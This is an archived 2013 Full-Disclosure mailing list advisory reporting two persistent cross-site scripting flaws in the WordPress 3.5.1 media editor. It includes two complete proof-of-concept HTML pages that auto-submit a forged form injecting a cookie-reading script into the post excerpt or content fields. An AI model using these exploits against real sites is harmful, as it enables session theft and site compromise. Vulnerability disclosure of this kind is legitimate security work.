full-disclosure - Cross-Site Scripting vulnerabilities in WordPress

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <006101ce76b7$0fdc4670$9b7a6fd5@pc>
Date: Tue, 2 Jul 2013 02:59:32 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
 "1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: Cross-Site Scripting vulnerabilities in WordPress

Hello list!

These are Cross-Site Scripting vulnerabilities in WordPress. Which I've 
disclosed last week.

At WordPress 3.5.2 release, WP developers mentioned about three holes as 
"security hardenings" (to decrease their importance and to make it looks 
like there were less fixed holes). One of these holes is "Cross-Site 
Scripting (XSS) when Editing Media". After I checked media editing 
functionality, I've found that it was not one hole, but two holes and these 
were persistent XSS.

-------------------------
Affected products:
-------------------------

Vulnerable are WordPress 3.5.1 and previous versions.

----------
Details:
----------

Cross-Site Scripting (WASC-08):

These are persistent XSS vulnerabilities at page 
http://site/wp-admin/post.php?post=1&action=edit in parameters excerpt and 
content. For the attack it's needed to bypass protection against CSRF (to 
receive token _wpnonce, which can be done with using reflected XSS).

WordPress 3.5.1 XSS-1.html

<html>
<head>
<title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/post.php" method="post">
<input type="hidden" name="_wpnonce" value="cbad9af0d3">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="action" value="editpost">
<input type="hidden" name="post_author" value="1">
<input type="hidden" name="post_type" value="attachment">
<input type="hidden" name="post_ID" value="1">
<input type="hidden" name="excerpt" 
value="</textarea><script>alert(document.cookie)</script>">
<input type="hidden" name="save" value="Update">
</form>
</body>
</html>

The code will execute just after sending request at the page 
http://site/wp-admin/post.php?post=1&action=edit and at subsequent visiting 
this page.

WordPress 3.5.1 XSS-2.html

<html>
<head>
<title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/post.php" method="post">
<input type="hidden" name="_wpnonce" value="cbad9af0d3">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="action" value="editpost">
<input type="hidden" name="post_author" value="1">
<input type="hidden" name="post_type" value="attachment">
<input type="hidden" name="post_ID" value="1">
<input type="hidden" name="content" 
value="</textarea><script>alert(document.cookie)</script>">
<input type="hidden" name="save" value="Update">
</form>
</body>
</html>

The code will execute just after sending request at the page 
http://site/wp-admin/post.php?post=1&action=edit and at subsequent visiting 
this page or the page http://site/page_name/attachment/1/.

------------
Timeline:
------------ 

2013.06.21 - released WordPress 3.5.2.
2013.06.29 - disclosed at my site (http://websecurity.com.ua/6616/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/